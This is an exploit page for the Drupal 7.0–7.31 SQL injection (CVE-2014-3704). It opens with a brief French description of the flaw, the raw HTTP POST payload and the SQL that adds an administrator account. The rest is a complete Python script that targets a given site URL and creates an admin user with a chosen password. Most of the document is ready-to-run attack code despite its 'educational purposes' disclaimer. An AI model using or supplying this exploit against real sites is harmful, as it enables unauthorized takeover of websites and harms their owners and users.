Les versions de Drupal entre 7.0 et 7.31 contiennent d'une faille de type SQLi
Il est possible d'injecter une suite de COMMANDES SQL en effectuant un POST HTTP sur l'url http://10.0.0.1/?q=node&destination=node.
Les données de POST HTTP contenant:
name[0%20;COMMANDE SQL A INJECTER;COMMANDE SQL A INJECTER;;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in
usage: 34992.py -t http://10.0.0.1/drupal -u yolo -p yolopassword
insert into users (status, uid, name, pass) SELECT 1, MAX(uid)+1, 'admin', '$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld' FROM users
insert into users_roles (uid, rid) VALUES ((SELECT uid FROM users WHERE name = 'admin'), 3)
#!/usr/bin/python
#
#
# Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
# Inspired by yukyuk's P.o.C (https://www.reddit.com/user/fyukyuk)
#
# Tested on Drupal 7.31 with BackBox 3.x
#
# This material is intended for educational
# purposes only and the author can not be held liable for
# any kind of damages done whatsoever to your machine,
# or damages caused by some other,creative application of this material.
# In any case you disagree with the above statement,stop here.
import hashlib, urllib2, optparse, random, sys
# START - from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
# Calculate a non-truncated Drupal 7 compatible password hash.
# The consumer of these hashes must truncate correctly.
class DrupalHash:
def __init__(self, stored_hash, password):
self.itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
self.last_hash = self.rehash(stored_hash, password)
def get_hash(self):
return self.last_hash
def password_get_count_log2(self, setting):
return self.itoa64.index(setting[3])
def password_crypt(self, algo, password, setting):
setting = setting[0:12]
if setting[0] != '$' or setting[2] != '$':
return False
count_log2 = self.password_get_count_log2(setting)
salt = setting[4:12]
if len(salt) < 8:
return False
count = 1 << count_log2
if algo == 'md5':
hash_func = hashlib.md5
elif algo == 'sha512':
hash_func = hashlib.sha512
else:
return False
hash_str = hash_func(salt + password).digest()
for c in range(count):
hash_str = hash_func(hash_str + password).digest()
output = setting + self.custom64(hash_str)
return output
def custom64(self, string, count = 0):
if count == 0:
count = len(string)
output = ''
i = 0
itoa64 = self.itoa64
while 1:
value = ord(string[i])
i += 1
output += itoa64[value & 0x3f]
if i < count:
value |= ord(string[i]) << 8
output += itoa64[(value >> 6) & 0x3f]
if i >= count:
break
i += 1
if i < count:
value |= ord(string[i]) << 16
output += itoa64[(value >> 12) & 0x3f]
if i >= count:
break
i += 1
output += itoa64[(value >> 18) & 0x3f]
if i >= count:
break
return output
def rehash(self, stored_hash, password):
# Drupal 6 compatibility
if len(stored_hash) == 32 and stored_hash.find('$') == -1:
return hashlib.md5(password).hexdigest()
# Drupal 7
if stored_hash[0:2] == 'U$':
stored_hash = stored_hash[1:]
password = hashlib.md5(password).hexdigest()
hash_type = stored_hash[0:3]
if hash_type == '$S$':
hash_str = self.password_crypt('sha512', password, stored_hash)
elif hash_type == '$H$' or hash_type == '$P$':
hash_str = self.password_crypt('md5', password, stored_hash)
else:
hash_str = False
return hash_str
# END - from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
def randomAgentGen():
userAgent = ['Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/7.0.5 Safari/537.77.4',
'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53',
'Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10',
'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D167 Safari/9537.53',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.74.9 (KHTML, like Gecko) Version/7.0.2 Safari/537.74.9',
'Mozilla/5.0 (X11; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
'Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/30.0',
'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0',
'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) GSA/4.1.0.31802 Mobile/11D257 Safari/9537.53',
'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',
'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/36.0.1985.125 Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:30.0) Gecko/20100101 Firefox/30.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Safari/600.1.3',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36']
UA = random.choice(userAgent)
return UA
def urldrupal(url):
if url[:8] != "https://" and url[:7] != "http://":
print('[X] You must insert http:// or https:// procotol')
sys.exit(1)
# Page login
url = url+'/?q=node&destination=node'
return url
banner = """
______ __ _______ _______ _____
| _ \ .----.--.--.-----.---.-| | | _ || _ | _ |
|. | \| _| | | _ | _ | | |___| _|___| |.| |
|. | |__| |_____| __|___._|__| / |___(__ `-|. |
|: 1 / |__| | | |: 1 | |: |
|::.. . / | | |::.. . | |::.|
`------' `---' `-------' `---'
_______ __ ___ __ __ __
| _ .-----| | | .-----|__.-----.----| |_|__.-----.-----.
| 1___| _ | | |. | | | -__| __| _| | _ | |
|____ |__ |__| |. |__|__| |_____|____|____|__|_____|__|__|
|: 1 | |__| |: | |___|
|::.. . | |::.|
`-------' `---'
Drup4l => 7.0 <= 7.31 Sql-1nj3ct10n
Admin 4cc0unt cr3at0r
Discovered by:
Stefan Horst
(CVE-2014-3704)
Written by:
Claudio Viviani
http://www.homelab.it
info@homelab.it
homelabit@protonmail.ch
https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
"""
commandList = optparse.OptionParser('usage: %prog -t http[s]://TARGET_URL -u USER -p PASS\n')
commandList.add_option('-t', '--target',
action="store",
help="Insert URL: http[s]://www.victim.com",
)
commandList.add_option('-u', '--username',
action="store",
help="Insert username",
)
commandList.add_option('-p', '--pwd',
action="store",
help="Insert password",
)
options, remainder = commandList.parse_args()
# Check args
if not options.target or not options.username or not options.pwd:
print(banner)
print
commandList.print_help()
sys.exit(1)
print(banner)
host = options.target
user = options.username
password = options.pwd
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = urldrupal(host)
# Add new user:
# insert into users (status, uid, name, pass) SELECT 1, MAX(uid)+1, 'admin', '$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld' FROM users
#
# Set administrator permission (rid = 3):
# insert into users_roles (uid, rid) VALUES ((SELECT uid FROM users WHERE name = 'admin'), 3)
#
post_data = "name[0%20;insert+into+users+(status,+uid,+name,+pass)+SELECT+1,+MAX(uid)%2B1,+%27"+user+"%27,+%27"+hash[:55]+"%27+FROM+users;insert+into+users_roles+(uid,+rid)+VALUES+((SELECT+uid+FROM+users+WHERE+name+%3d+%27"+user+"%27),+3);;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"
UA = randomAgentGen()
try:
req = urllib2.Request(target, post_data, headers={ 'User-Agent': UA })
content = urllib2.urlopen(req).read()
if "mb_strlen() expects parameter 1" in content:
print "[!] VULNERABLE!"
print
print "[!] Administrator user created!"
print
print "[*] Login: "+str(user)
print "[*] Pass: "+str(password)
print "[*] Url: "+str(target)
else:
print "[X] NOT Vulnerable :("
except urllib2.HTTPError as e:
print "[X] HTTP Error: "+str(e.reason)+" ("+str(e.code)+")"
except urllib2.URLError as e:
print "[X] Connection error: "+str(e.reason)